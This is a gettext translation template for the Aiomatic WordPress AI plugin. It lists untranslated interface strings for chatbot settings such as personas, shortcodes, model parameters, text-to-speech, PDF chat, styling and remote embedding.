(shortcodes generated by rules from other plugins). Example of " "prompt to pretain the AI --- Article: \"%%post_content%%\" \n" "\n" " Discussion: \n" "\n" msgstr "" #: res/aiomatic-chatbot.php:1129 res/aiomatic-chatbot.php:1558 msgid "Chatbot Context:" msgstr "" #: res/aiomatic-chatbot.php:1143 #, php-format msgid "" "Set the name of the AI. This will be prepended to each AI message. This is " "useful to teach the AI chatbot about its role and name. List of supported " "shortcodes: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, " "%%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, " "%%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, " "%%random_sentence%%, %%random_sentence2%%, %%user_name%%, %%user_email%%, " "%%user_display_name%%, %%user_role%%, %%user_id%%, %%user_firstname%%, " "%%user_lastname%%, %%user_url%%, %%user_description%%. You can also use " "custom fields (post meta) that it's assigned to posts using custom " "shortcodes in this format: %%!custom_field_slug!%%. You can also use custom " "user meta fields (user meta) which is assigned to users using custom " "shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to " "add data that is imported from the custom field post_data, you should use " "this shortcode: %%!post_data!%%. The length of this command should not be " "greater than the max token count set in the settings for the seed command - " "Update: %%related_questions_KEYWORD%% is also supported, to get a list of " "PAA questions for the KEYWORD you want to use. Update: nested shortcodes " "also supported (shortcodes generated by rules from other plugins)." msgstr "" #: res/aiomatic-chatbot.php:1147 res/aiomatic-chatbot.php:1576 msgid "AI Initial Messages (One Per Line):" msgstr "" #: res/aiomatic-chatbot.php:1161 res/aiomatic-chatbot.php:1590 msgid "" "Set the avatar image of the AI. This will be shown in the chatbot interface." msgstr "" #: res/aiomatic-chatbot.php:1165 res/aiomatic-chatbot.php:1594 msgid "AI Avatar Image:" msgstr "" #: res/aiomatic-chatbot.php:1192 #, php-format msgid "" "Set the name of the user. This will be prepended to each user message. This " "is useful to teach the AI chatbot about its role and name. List of supported " "shortcodes: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, " "%%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, " "%%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, " "%%random_sentence%%, %%random_sentence2%%, %%user_name%%, %%user_email%%, " "%%user_display_name%%, %%user_role%%, %%user_id%%, %%user_firstname%%, " "%%user_lastname%%, %%user_url%%, %%user_description%%. You can also use " "custom fields (post meta) that it's assigned to posts using custom " "shortcodes in this format: %%!custom_field_slug!%%. You can also use custom " "user meta fields (user meta) which is assigned to users using custom " "shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to " "add data that is imported from the custom field post_data, you should use " "this shortcode: %%!post_data!%%. The length of this command should not be " "greater than the max token count set in the settings for the seed command - " "Update: %%related_questions_KEYWORD%% is also supported, to get a list of " "PAA questions for the KEYWORD you want to use. Update: nested shortcodes " "also supported (shortcodes generated by rules from other plugins)." msgstr "" #: res/aiomatic-chatbot.php:1196 res/aiomatic-chatbot.php:1628 msgid "User Name:" msgstr "" #: res/aiomatic-chatbot.php:1207 msgid "Select A Chatbot Persona: " msgstr "" #: res/aiomatic-chatbot.php:1211 msgid "" "Click the persona you want to use in your chatbot and it will be selected " "and its values will be automatically filled in the settings fields from " "above. All you have to do afterwards, is to save settings and the chatbot " "persona will be applied to the chatbot!" msgstr "" #: res/aiomatic-chatbot.php:1231 res/aiomatic-chatbot.php:1501 msgid "" "No chatbot personas added. Add them in the 'Manage Chatbot Personas' tab." msgstr "" #: res/aiomatic-chatbot.php:1279 msgid "Use the following shortcode to add the customized chatbot to your site:" msgstr "" #: res/aiomatic-chatbot.php:1280 msgid "Copy Text" msgstr "" #: res/aiomatic-chatbot.php:1284 msgid "Chatbot API Options:" msgstr "" #: res/aiomatic-chatbot.php:1292 res/aiomatic-chatbot.php:6594 msgid "" "Select the assistant to be used for chatbot. The model used when creating " "the AI Assistant will be used to create the content." msgstr "" #: res/aiomatic-chatbot.php:1296 res/aiomatic-chatbot.php:6598 msgid "Chatbot Assistant Name (Using This Disables Chatbot Personas):" msgstr "" #: res/aiomatic-chatbot.php:1341 res/aiomatic-chatbot.php:6643 msgid "" "Select if you want to enable file upload for the chatbot. Note that to use " "this feature, you will need an AI model which supports file search. " "Supported file types: .c, .cs, .cpp, .doc, .docx, .html, .java, .json, .md, ." "pdf, .php, .pptx, .py, .rb, .tex, .txt, .css, .js, .sh, .ts" msgstr "" #: res/aiomatic-chatbot.php:1345 res/aiomatic-chatbot.php:6647 msgid "Enable File Uploads In The Chatbot (Using AI Assistants File Search):" msgstr "" #: res/aiomatic-chatbot.php:1349 res/aiomatic-chatbot.php:1404 #: res/aiomatic-chatbot.php:6667 res/aiomatic-chatbot.php:6736 msgid "On" msgstr "" #: res/aiomatic-chatbot.php:1350 res/aiomatic-chatbot.php:1405 #: res/aiomatic-chatbot.php:6668 res/aiomatic-chatbot.php:6737 #: res/aiomatic-chatbot.php:7857 res/aiomatic-main.php:6099 msgid "Off" msgstr "" #: res/aiomatic-chatbot.php:1359 msgid "Select the model of the chatbot." msgstr "" #: res/aiomatic-chatbot.php:1363 res/aiomatic-chatbot.php:6682 msgid "Chatbot Model:" msgstr "" #: res/aiomatic-chatbot.php:1396 res/aiomatic-chatbot.php:6712 msgid "" "Select if you want to enable vision for the chatbot. Note that to use this " "feature, you will need an AI model which supports vision." msgstr "" #: res/aiomatic-chatbot.php:1400 res/aiomatic-chatbot.php:6716 msgid "Enable Chatbot Vision:" msgstr "" #: res/aiomatic-chatbot.php:1418 res/aiomatic-chatbot.php:6750 msgid "Chatbot Temperature:" msgstr "" #: res/aiomatic-chatbot.php:1431 res/aiomatic-chatbot.php:6763 msgid "Chatbot Top_p:" msgstr "" #: res/aiomatic-chatbot.php:1444 res/aiomatic-chatbot.php:6776 msgid "Presence Penalty:" msgstr "" #: res/aiomatic-chatbot.php:1457 res/aiomatic-chatbot.php:6789 msgid "Frequency Penalty:" msgstr "" #: res/aiomatic-chatbot.php:1470 msgid "" "Select the chatbot persona you want to use for your current chatbot setup." msgstr "" #: res/aiomatic-chatbot.php:1474 msgid "Chatbot Persona:" msgstr "" #: res/aiomatic-chatbot.php:1505 msgid "Select a persona" msgstr "" #: res/aiomatic-chatbot.php:1518 res/aiomatic-chatbot.php:1572 msgid "" "Set the name of the AI. This will be prepended to each AI message. This is " "useful to teach the AI chatbot about its role and name." msgstr "" #: res/aiomatic-chatbot.php:1617 res/aiomatic-chatbot.php:2888 msgid "Chatbot Context Details:" msgstr "" #: res/aiomatic-chatbot.php:1624 msgid "" "Set the name of the user. This will be prepended to each user message. This " "is useful to teach the AI chatbot about its role and name." msgstr "" #: res/aiomatic-chatbot.php:1642 msgid "" "Set the placeholder text of the chat input. The default is: Enter your chat " "message here." msgstr "" #: res/aiomatic-chatbot.php:1646 res/aiomatic-chatbot.php:2899 msgid "Chat Input Placeholder:" msgstr "" #: res/aiomatic-chatbot.php:1660 res/aiomatic-chatbot.php:2913 msgid "Set the text of the submit button. The default is: Submit" msgstr "" #: res/aiomatic-chatbot.php:1664 res/aiomatic-chatbot.php:2917 msgid "Chat Input Submit Button Text:" msgstr "" #: res/aiomatic-chatbot.php:1678 msgid "" "Set the compliance text which will be shown at the bottom of the chatbot " "(default is empty)." msgstr "" #: res/aiomatic-chatbot.php:1682 res/aiomatic-chatbot.php:2953 msgid "Chat Compliance Text:" msgstr "" #: res/aiomatic-chatbot.php:1696 res/aiomatic-chatbot.php:2931 msgid "" "Set the text of the prompt selection placeholder. The default is: Please " "select a prompt" msgstr "" #: res/aiomatic-chatbot.php:1700 res/aiomatic-chatbot.php:2935 msgid "Text For Prompt Templates Selection:" msgstr "" #: res/aiomatic-chatbot.php:1710 msgid "Chatbot General Settings:" msgstr "" #: res/aiomatic-chatbot.php:1717 msgid "" "Select if you want to make the chatbot respond with full text or do you want " "to enable a typing effect, so text will appear gradually. You can also use " "streaming, which is the recommended method to be used, as in this case, the " "plugin will show the response in real time, as it is generated by the AI " "(similar to ChatGPT)." msgstr "" #: res/aiomatic-chatbot.php:1721 res/aiomatic-chatbot.php:6218 msgid "Enable Chatbot Instant Responses:" msgstr "" #: res/aiomatic-chatbot.php:1738 res/aiomatic-chatbot.php:6367 msgid "" "Select a sound effect to be played when a message is sent in the chatbot. To " "disable this feature, leave this settings field blank. You can get free " "sound effects from here: https://pixabay.com/sound-effects/search/" "notification/?order=ec" msgstr "" #: res/aiomatic-chatbot.php:1742 res/aiomatic-chatbot.php:6371 msgid "Chatbot 'Send Message' Sound Effect:" msgstr "" #: res/aiomatic-chatbot.php:1746 res/aiomatic-chatbot.php:6375 msgid "" "Upload your 'Send Message' sound effect file using the button from below" msgstr "" #: res/aiomatic-chatbot.php:1747 res/aiomatic-chatbot.php:6376 msgid "Upload a 'Send Message' sound effect" msgstr "" #: res/aiomatic-chatbot.php:1755 res/aiomatic-chatbot.php:6384 msgid "" "Select a sound effect to be played when a message is received in the " "chatbot. To disable this feature, leave this settings field blank. You can " "get free sound effects from here: https://pixabay.com/sound-effects/search/" "notification/?order=ec" msgstr "" #: res/aiomatic-chatbot.php:1759 res/aiomatic-chatbot.php:6388 msgid "Chatbot 'Receive Message' Sound Effect:" msgstr "" #: res/aiomatic-chatbot.php:1763 res/aiomatic-chatbot.php:6392 msgid "" "Upload your 'Receive Message' sound effect file using the button from below" msgstr "" #: res/aiomatic-chatbot.php:1764 res/aiomatic-chatbot.php:6393 msgid "Upload a 'Receive Message' sound effect" msgstr "" #: res/aiomatic-chatbot.php:1772 res/aiomatic-chatbot.php:6401 msgid "" "Set a number of milliseconds to set as a delay for the chatbot. You can also " "set an interval between two values (in ms), case in which, the chatbot will " "select a random number of milliseconds from that interval, at each response." msgstr "" #: res/aiomatic-chatbot.php:1776 res/aiomatic-chatbot.php:6405 msgid "Chatbot Response Delay (ms):" msgstr "" #: res/aiomatic-chatbot.php:1780 res/aiomatic-chatbot.php:6409 msgid "Example: 100-500" msgstr "" #: res/aiomatic-chatbot.php:1789 res/aiomatic-chatbot.php:6484 msgid "Select the default chat mode (image or text)." msgstr "" #: res/aiomatic-chatbot.php:1793 res/aiomatic-chatbot.php:6488 msgid "Default Chat Mode:" msgstr "" #: res/aiomatic-chatbot.php:1810 res/aiomatic-chatbot.php:7848 msgid "" "Select if you want to enable the persistent chat mode. Chats will be saved " "in the database and can be viewed from the 'Limits and Statistics' menu of " "the plugin. If you want to enable the Vector Database persistent chat " "functionality, you need to add your API key for a Vector Database Service in " "the plugin's 'Settings' menu. Also, you need to enable embeddings for the " "chatbot, from the 'Settings' menu -> 'Embeddings' tab -> 'Enable Embeddings " "For' -> check the 'Chatbot Shortcodes' checkbox -> save settings." msgstr "" #: res/aiomatic-chatbot.php:1814 res/aiomatic-chatbot.php:7852 msgid "Persistent Chat:" msgstr "" #: res/aiomatic-chatbot.php:1827 res/aiomatic-chatbot.php:7865 msgid "On (Vector Database Storage), Auto Create Embeddings From User Messages" msgstr "" #: res/aiomatic-chatbot.php:1837 msgid "" "Select if you want to enable Chatbot internet access for this specific " "chatbot? To enable internet access, you have to go to the 'Settings' menu -> " "'AI Internet Access' tab -> 'Enable AI Internet Access For' -> check the " "'Chatbot Shortcodes' checkbox -> save settings." msgstr "" #: res/aiomatic-chatbot.php:1841 msgid "Enable Chatbot Internet Access:" msgstr "" #: res/aiomatic-chatbot.php:1844 msgid "" "For this to work, you need to enable internet access for the chatbot in the " "'Settings' menu -> 'AI Internet Access' tab -> 'Chatbot Shortcodes' checkbox" msgstr "" #: res/aiomatic-chatbot.php:1857 msgid "" "Select if you want to enable Chatbot embeddings for this specific chatbot? " "To enable embeddings, you have to go to the 'Settings' menu -> 'Embeddings' " "tab -> 'Enable Embeddings For' -> check the 'Chatbot Shortcodes' checkbox -> " "save settings." msgstr "" #: res/aiomatic-chatbot.php:1861 msgid "Enable Chatbot Embeddings:" msgstr "" #: res/aiomatic-chatbot.php:1864 msgid "" "For this to work, you need to enable embeddings for the chatbot in the " "'Settings' menu -> 'Embeddings' tab -> 'Chatbot Shortcodes' checkbox" msgstr "" #: res/aiomatic-chatbot.php:1877 res/aiomatic-chatbot.php:1896 #: res/aiomatic-chatbot.php:6504 res/aiomatic-chatbot.php:6523 msgid "" "Select if you want to enable the prompts to be user editable. You should use " "this feature only together with the prompt templates feature." msgstr "" #: res/aiomatic-chatbot.php:1881 res/aiomatic-chatbot.php:6508 msgid "Prompt Templates:" msgstr "" #: res/aiomatic-chatbot.php:1900 res/aiomatic-chatbot.php:6527 msgid "Prompts Editable By Users:" msgstr "" #: res/aiomatic-chatbot.php:1916 res/aiomatic-chatbot.php:6806 msgid "" "Select if you want to inject the chatbot globally, to the entire front end " "and/or back end of your site." msgstr "" #: res/aiomatic-chatbot.php:1920 res/aiomatic-chatbot.php:6810 msgid "Inject Chatbot Globally To Your Site:" msgstr "" #: res/aiomatic-chatbot.php:1939 res/aiomatic-chatbot.php:6829 msgid "Select where you want to show the embedded chatbot." msgstr "" #: res/aiomatic-chatbot.php:1943 res/aiomatic-chatbot.php:6833 msgid "Chatbot Location:" msgstr "" #: res/aiomatic-chatbot.php:1982 msgid "" "Select if you want to enable users to upload PDF files to the chatbot. This " "will require some prerequisites to function, please check the 'PDF Chat' tab " "for details." msgstr "" #: res/aiomatic-chatbot.php:1986 res/aiomatic-chatbot.php:2783 msgid "Enable Users To Upload PDF Files To The Chatbot:" msgstr "" #: res/aiomatic-chatbot.php:2013 msgid "" "Select if you want to enable/disable the chatbot Extensions feature. This " "can be used to enable a series of extensions, like social posting, email " "sending, Amazon product details scraping, website or RSS feed scraping, God " "Mode, which will allow ultimate control of your WordPress site, allowing it " "to call functions from WordPress directly. Using this feature, you will be " "able to create posts directly from the chatbot, assign taxonomies, images " "and many more! Warning! This is a BETA feature, use it with caution. This " "will apply only if regular AI models are used (not AI Assistants - for " "these, the God Mode needs to be enabled from Assistant editing menu). Also, " "God Mode will work only for logged in administrator privileged users." msgstr "" #: res/aiomatic-chatbot.php:2017 msgid "Enable Chatbot Extensions (God Mode):" msgstr "" #: res/aiomatic-chatbot.php:2034 res/aiomatic-chatbot.php:4680 msgid "Select if you want to enable chatbot text to speech/video." msgstr "" #: res/aiomatic-chatbot.php:2038 res/aiomatic-chatbot.php:4684 msgid "Enable Chatbot Text-to-Speech/Video:" msgstr "" #: res/aiomatic-chatbot.php:2065 res/aiomatic-chatbot.php:4712 #: res/aiomatic-spinner-list.php:3909 msgid "Currently Only OpenAI API is supported for TTS" msgstr "" #: res/aiomatic-chatbot.php:2073 res/aiomatic-chatbot.php:2081 #: res/aiomatic-chatbot.php:2090 res/aiomatic-chatbot.php:2091 #: res/aiomatic-chatbot.php:4720 res/aiomatic-chatbot.php:4728 #: res/aiomatic-chatbot.php:4737 res/aiomatic-chatbot.php:4738 #: res/aiomatic-spinner-list.php:3917 res/aiomatic-spinner-list.php:3925 #: res/aiomatic-spinner-list.php:3933 msgid "Enter API key in Settings to enable" msgstr "" #: res/aiomatic-chatbot.php:2101 msgid "" "Select if you want to overwrite the chatbot text-to-speech voice ID. This " "needs to be exactly matching the voice ID of the text-to-speech engine you " "are using. For example, for OpenAI Text-to-Speech API, the voice IDs can be: " "alloy, echo, onyx, nova, fable, shimmer" msgstr "" #: res/aiomatic-chatbot.php:2105 msgid "Overwrite Chatbot Text-to-Speech Voice ID:" msgstr "" #: res/aiomatic-chatbot.php:2140 res/aiomatic-chatbot.php:2162 #: res/aiomatic-chatbot.php:5129 res/aiomatic-chatbot.php:5437 #: res/aiomatic-spinner-list.php:4229 res/aiomatic-spinner-list.php:4537 msgid "Failed to list voices!" msgstr "" #: res/aiomatic-chatbot.php:2190 msgid "Select if you want to overwrite the chatbot video avatar URL." msgstr "" #: res/aiomatic-chatbot.php:2194 msgid "Overwrite Chatbot Video Avatar URL:" msgstr "" #: res/aiomatic-chatbot.php:2200 msgid "Chatbot Styling Options:" msgstr "" #: res/aiomatic-chatbot.php:2207 res/aiomatic-chatbot.php:2699 #: res/aiomatic-chatbot.php:5538 res/aiomatic-chatbot.php:6045 msgid "Select if you want to show the chatbot header." msgstr "" #: res/aiomatic-chatbot.php:2211 res/aiomatic-chatbot.php:5542 msgid "Show Chatbot Header:" msgstr "" #: res/aiomatic-chatbot.php:2228 res/aiomatic-chatbot.php:5559 msgid "" "Select if you want to show the Chat Log TXT or PDF File Download Button." msgstr "" #: res/aiomatic-chatbot.php:2232 res/aiomatic-chatbot.php:5563 msgid "Show Chat Log File Download Button:" msgstr "" #: res/aiomatic-chatbot.php:2249 res/aiomatic-chatbot.php:5580 msgid "Select if you want to show the Text-To-Speech Mute Button." msgstr "" #: res/aiomatic-chatbot.php:2253 res/aiomatic-chatbot.php:5584 msgid "Show Text-To-Speech Mute Button:" msgstr "" #: res/aiomatic-chatbot.php:2270 msgid "Select if you want to show the Internet Access Button." msgstr "" #: res/aiomatic-chatbot.php:2274 msgid "Show Internet Access Button:" msgstr "" #: res/aiomatic-chatbot.php:2291 msgid "Select if you want to show the clearing button." msgstr "" #: res/aiomatic-chatbot.php:2295 res/aiomatic-chatbot.php:5638 msgid "Show Chat Clearing Button:" msgstr "" #: res/aiomatic-chatbot.php:2312 res/aiomatic-chatbot.php:5655 msgid "Select the chat font size of the chatbot form. Default is 1em" msgstr "" #: res/aiomatic-chatbot.php:2316 res/aiomatic-chatbot.php:5659 msgid "Chat Font Size:" msgstr "" #: res/aiomatic-chatbot.php:2335 res/aiomatic-chatbot.php:5678 msgid "" "Select the width of the chatbot form. For full width, you can set 100% " "(default value). You can also set values in pixels, like: 400px" msgstr "" #: res/aiomatic-chatbot.php:2339 res/aiomatic-chatbot.php:5682 msgid "Chat Form Width:" msgstr "" #: res/aiomatic-chatbot.php:2351 res/aiomatic-chatbot.php:5694 msgid "" "Select the height of the chatbot form. Default is auto. You can set values " "in pixels, like: 400px" msgstr "" #: res/aiomatic-chatbot.php:2355 res/aiomatic-chatbot.php:5698 msgid "Chat Form Height:" msgstr "" #: res/aiomatic-chatbot.php:2367 res/aiomatic-chatbot.php:5710 msgid "" "Select the min-height of the chatbot form (when the form is resized, this is " "the minimum height it will be allowed to get. Default is 250px. You can set " "values in pixels, like: 400px" msgstr "" #: res/aiomatic-chatbot.php:2371 res/aiomatic-chatbot.php:5714 msgid "Chat Form Min-Height:" msgstr "" #: res/aiomatic-chatbot.php:2383 res/aiomatic-chatbot.php:5726 msgid "Set your own custom header text for the chatbot." msgstr "" #: res/aiomatic-chatbot.php:2387 res/aiomatic-chatbot.php:5730 msgid "Chatbot Custom Header Text:" msgstr "" #: res/aiomatic-chatbot.php:2408 res/aiomatic-chatbot.php:5752 msgid "Set your own custom footer text for the chatbot." msgstr "" #: res/aiomatic-chatbot.php:2412 res/aiomatic-chatbot.php:5756 msgid "Chatbot Custom Footer Text:" msgstr "" #: res/aiomatic-chatbot.php:2433 res/aiomatic-chatbot.php:5778 msgid "Set your own custom CSS code for the chatbot." msgstr "" #: res/aiomatic-chatbot.php:2437 res/aiomatic-chatbot.php:5782 msgid "Chatbot Custom CSS Code:" msgstr "" #: res/aiomatic-chatbot.php:2453 res/aiomatic-chatbot.php:5799 msgid "AI Chatbot Coloring Options:" msgstr "" #: res/aiomatic-chatbot.php:2459 msgid "Select the background color of the chatbot form. Default is #ffffff" msgstr "" #: res/aiomatic-chatbot.php:2463 res/aiomatic-chatbot.php:5809 #: res/aiomatic-main.php:4102 msgid "Form Background Color:" msgstr "" #: res/aiomatic-chatbot.php:2475 res/aiomatic-chatbot.php:5805 #: res/aiomatic-chatbot.php:5821 msgid "Select the background color of the chatbot form. Default is #f7f7f9" msgstr "" #: res/aiomatic-chatbot.php:2479 res/aiomatic-chatbot.php:5825 msgid "Input Background Color:" msgstr "" #: res/aiomatic-chatbot.php:2491 res/aiomatic-chatbot.php:5837 msgid "Select the font color of the user chatbot form. Default is white" msgstr "" #: res/aiomatic-chatbot.php:2495 res/aiomatic-chatbot.php:5841 msgid "User Font Color:" msgstr "" #: res/aiomatic-chatbot.php:2507 res/aiomatic-chatbot.php:5853 msgid "" "Select the font color of the user baloon chatbot form. Default is #0084ff" msgstr "" #: res/aiomatic-chatbot.php:2511 res/aiomatic-chatbot.php:5857 msgid "User Baloon Background Color:" msgstr "" #: res/aiomatic-chatbot.php:2523 res/aiomatic-chatbot.php:5869 msgid "Select the font color of the AI chatbot form. Default is black" msgstr "" #: res/aiomatic-chatbot.php:2527 res/aiomatic-chatbot.php:5873 msgid "AI Font Color:" msgstr "" #: res/aiomatic-chatbot.php:2539 res/aiomatic-chatbot.php:5885 msgid "Select the font color of the AI baloon chatbot form. Default is #f0f0f0" msgstr "" #: res/aiomatic-chatbot.php:2543 res/aiomatic-chatbot.php:5889 msgid "AI Baloon Background Color:" msgstr "" #: res/aiomatic-chatbot.php:2555 res/aiomatic-chatbot.php:5901 msgid "Select the border color for the input field. Default is #e1e3e6" msgstr "" #: res/aiomatic-chatbot.php:2559 res/aiomatic-chatbot.php:5905 msgid "Input Border Color:" msgstr "" #: res/aiomatic-chatbot.php:2571 res/aiomatic-chatbot.php:5917 msgid "Select the text color for the input field. Default is #e1e3e6" msgstr "" #: res/aiomatic-chatbot.php:2575 res/aiomatic-chatbot.php:5921 msgid "Input Text Color:" msgstr "" #: res/aiomatic-chatbot.php:2587 res/aiomatic-chatbot.php:5933 msgid "Select the placeholder color for the input field. Default is #e1e3e6" msgstr "" #: res/aiomatic-chatbot.php:2591 res/aiomatic-chatbot.php:5937 msgid "Input Placeholder Color:" msgstr "" #: res/aiomatic-chatbot.php:2603 msgid "Select the color of the persona name." msgstr "" #: res/aiomatic-chatbot.php:2607 res/aiomatic-chatbot.php:5953 msgid "Persona Name Color:" msgstr "" #: res/aiomatic-chatbot.php:2619 msgid "Select the color of the persona role." msgstr "" #: res/aiomatic-chatbot.php:2623 res/aiomatic-chatbot.php:5969 msgid "Persona Role Color:" msgstr "" #: res/aiomatic-chatbot.php:2635 res/aiomatic-chatbot.php:5981 msgid "Select the color of the submit button. Default is #55a7e2" msgstr "" #: res/aiomatic-chatbot.php:2639 res/aiomatic-chatbot.php:5985 msgid "Submit Button Color:" msgstr "" #: res/aiomatic-chatbot.php:2651 res/aiomatic-chatbot.php:5997 msgid "Select the text color of the submit button. Default is #55a7e2" msgstr "" #: res/aiomatic-chatbot.php:2655 res/aiomatic-chatbot.php:6001 msgid "Submit Button Text Color:" msgstr "" #: res/aiomatic-chatbot.php:2667 res/aiomatic-chatbot.php:6013 msgid "Select the color of the voice button. Default is #55a7e2" msgstr "" #: res/aiomatic-chatbot.php:2671 res/aiomatic-chatbot.php:6017 msgid "Voice Button Color:" msgstr "" #: res/aiomatic-chatbot.php:2683 msgid "" "Select the color of the voice button when it is activated. Default is #55a7e2" msgstr "" #: res/aiomatic-chatbot.php:2687 res/aiomatic-chatbot.php:6033 msgid "Voice Button Activated Color:" msgstr "" #: res/aiomatic-chatbot.php:2703 res/aiomatic-chatbot.php:6049 msgid "Chatbot Theme:" msgstr "" #: res/aiomatic-chatbot.php:2746 res/aiomatic-chatbot.php:2880 #: res/aiomatic-chatbot.php:3066 res/aiomatic-chatbot.php:4534 #: res/aiomatic-chatbot.php:5516 res/aiomatic-chatbot.php:8619 #: res/aiomatic-main.php:1764 res/aiomatic-main.php:3823 #: res/aiomatic-main.php:4154 res/aiomatic-main.php:6597 #: res/aiomatic-main.php:8231 res/aiomatic-more.php:177 #: res/aiomatic-single-list.php:530 res/aiomatic-single-list.php:8571 msgid "Tutorial Video:" msgstr "" #: res/aiomatic-chatbot.php:2753 msgid "PDF Chat Settings:" msgstr "" #: res/aiomatic-chatbot.php:2761 msgid "" "This option requires the Aiomatic Extension - PDF File Storage And Parsing " "to be active. Check it" msgstr "" #: res/aiomatic-chatbot.php:2766 msgid "" "You need to enter a Pinecone.io API or a Qdrant API key in the 'API Keys' " "tab to use this feature, go to the plugin's 'Settings' menu -> in the 'API " "Keys' tab, set up an API key for a vector database ('Embeddings API Options' " "section)" msgstr "" #: res/aiomatic-chatbot.php:2771 msgid "" "You need to enable Embeddings for the Chatbot -> go to the 'Embeddings' tab " "in the same menu and check the 'Enable Embeddings For' -> 'Chatbot " "Shortcodes' checkbox -> save settings." msgstr "" #: res/aiomatic-chatbot.php:2779 msgid "Select if you want to enable users to upload PDF files to the chatbot." msgstr "" #: res/aiomatic-chatbot.php:2804 msgid "" "Select if you want to limit the maximum number of pages extracted from the " "pdf files." msgstr "" #: res/aiomatic-chatbot.php:2808 msgid "Limit PDF Page Count:" msgstr "" #: res/aiomatic-chatbot.php:2820 msgid "" "Select if you want to limit the maximum number of characters extracted from " "the pdf files." msgstr "" #: res/aiomatic-chatbot.php:2824 msgid "Limit PDF Character Count:" msgstr "" #: res/aiomatic-chatbot.php:2836 msgid "" "Set the user message which appears when the pdf file was uploaded " "successfully." msgstr "" #: res/aiomatic-chatbot.php:2840 msgid "PDF File Uploaded Successfully User Message:" msgstr "" #: res/aiomatic-chatbot.php:2852 msgid "" "Set the user message which appears when the pdf session was ended by the " "user." msgstr "" #: res/aiomatic-chatbot.php:2856 msgid "PDF Session Ended User Message:" msgstr "" #: res/aiomatic-chatbot.php:2868 msgid "Set the user message which appears when the pdf file upload failed." msgstr "" #: res/aiomatic-chatbot.php:2872 msgid "PDF File Uploaded Failed User Message:" msgstr "" #: res/aiomatic-chatbot.php:2895 msgid "Set the placeholder text of the chat input. The default is: empty." msgstr "" #: res/aiomatic-chatbot.php:2949 msgid "" "Set the compliance text which will be shown at the bottom of the chatbot " "(default is empty)" msgstr "" #: res/aiomatic-chatbot.php:2965 msgid "Manage Chatbot Personas:" msgstr "" #: res/aiomatic-chatbot.php:2968 msgid "Sync Personas" msgstr "" #: res/aiomatic-chatbot.php:2971 res/aiomatic-chatbot.php:8630 msgid "Add New Persona" msgstr "" #: res/aiomatic-chatbot.php:2974 res/aiomatic-chatbot.php:8704 msgid "Backup/Restore Personas" msgstr "" #: res/aiomatic-chatbot.php:2977 msgid "Delete Selected Personas" msgstr "" #: res/aiomatic-chatbot.php:2980 msgid "Delete All Personas" msgstr "" #: res/aiomatic-chatbot.php:2984 msgid "All personas" msgstr "" #: res/aiomatic-chatbot.php:2995 msgid "Role" msgstr "" #: res/aiomatic-chatbot.php:3038 msgid "" "No chatbot personas added. You can add more using the 'Add New Persona' " "button from above." msgstr "" #: res/aiomatic-chatbot.php:3071 msgid "AI Chatbot Embedding On Remote Sites Settings:" msgstr "" #: res/aiomatic-chatbot.php:3078 msgid "" "Select if you want to enable embedding of the chatbot on remote websites, " "using iframes. If you deactivate remote chatbots, all created remote chatbot " "instances will be also deleted." msgstr "" #: res/aiomatic-chatbot.php:3082 msgid "Enable Chatbot Embedding On Remote Sites:" msgstr "" #: res/aiomatic-chatbot.php:3099 msgid "" "Set a list of domains (separated by commas), which will be allowed to " "display the chatbot on their site. To allow all sites to add this chatbot, " "leave this field blank. Example usage: https://www.example.org" msgstr "" #: res/aiomatic-chatbot.php:3103 msgid "Domain List Allowed To Embed Chatbots:" msgstr "" #: res/aiomatic-chatbot.php:3125 msgid "You can use these HTML codes to embed the chatbot on other websites:" msgstr "" #: res/aiomatic-chatbot.php:3135 msgid "" "No remote chatbot instances created. Click the button from below to create a " "new instance!" msgstr "" #: res/aiomatic-chatbot.php:3156 msgid "Embed HTML Code:" msgstr "" #: res/aiomatic-chatbot.php:3159 msgid "Your browser does not support iframes." msgstr "" #: res/aiomatic-chatbot.php:3163 #, php-format msgid "Edit" msgstr "" #: res/aiomatic-chatbot.php:3165 msgid " 4.0 will " "return an error." msgstr "" #: res/aiomatic-chatbot.php:5493 res/aiomatic-spinner-list.php:4593 msgid "Voice Speed:" msgstr "" #: res/aiomatic-chatbot.php:5505 res/aiomatic-spinner-list.php:4605 msgid "" "Select a the Voice Pitch of the chosen voice. Speaking pitch, in the range " "[-20.0, 20.0]. 20 means increase 20 semitones from the original pitch. -20 " "means decrease 20 semitones from the original pitch." msgstr "" #: res/aiomatic-chatbot.php:5509 res/aiomatic-spinner-list.php:4609 msgid "Voice Pitch:" msgstr "" #: res/aiomatic-chatbot.php:5520 msgid "D-ID Streaming Video Update:" msgstr "" #: res/aiomatic-chatbot.php:5531 msgid "AI Chatbot Default Styling Options:" msgstr "" #: res/aiomatic-chatbot.php:5592 msgid "Text-To-Speech feature needs to be active for this feature to work" msgstr "" #: res/aiomatic-chatbot.php:5607 msgid "Select if you want to show the Disable Internet Access Button." msgstr "" #: res/aiomatic-chatbot.php:5611 msgid "Show Disable Internet Access Button:" msgstr "" #: res/aiomatic-chatbot.php:5619 msgid "You need to enable Internet Access For Chatbots for this to work" msgstr "" #: res/aiomatic-chatbot.php:5634 msgid "Select if you want to show the Chat Clearing Button." msgstr "" #: res/aiomatic-chatbot.php:5949 msgid "Select the persona name color for the input field. Default is #3c434a" msgstr "" #: res/aiomatic-chatbot.php:5965 msgid "Select the persona role color for the input field. Default is #3c434a" msgstr "" #: res/aiomatic-chatbot.php:6029 msgid "Select the color of the voice button when activated. Default is #55a7e2" msgstr "" #: res/aiomatic-chatbot.php:6085 msgid "Chatbot Theme Management:" msgstr "" #: res/aiomatic-chatbot.php:6091 msgid "Save new color themes from current color settings." msgstr "" #: res/aiomatic-chatbot.php:6095 msgid "Save New Theme From Current Colors:" msgstr "" #: res/aiomatic-chatbot.php:6098 msgid "Save New Theme" msgstr "" #: res/aiomatic-chatbot.php:6105 msgid "Delete an existing theme from the listed themes." msgstr "" #: res/aiomatic-chatbot.php:6109 msgid "Delete Existing Theme:" msgstr "" #: res/aiomatic-chatbot.php:6115 msgid "Select a theme to delete" msgstr "" #: res/aiomatic-chatbot.php:6125 msgid "No saved themes available" msgstr "" #: res/aiomatic-chatbot.php:6130 msgid 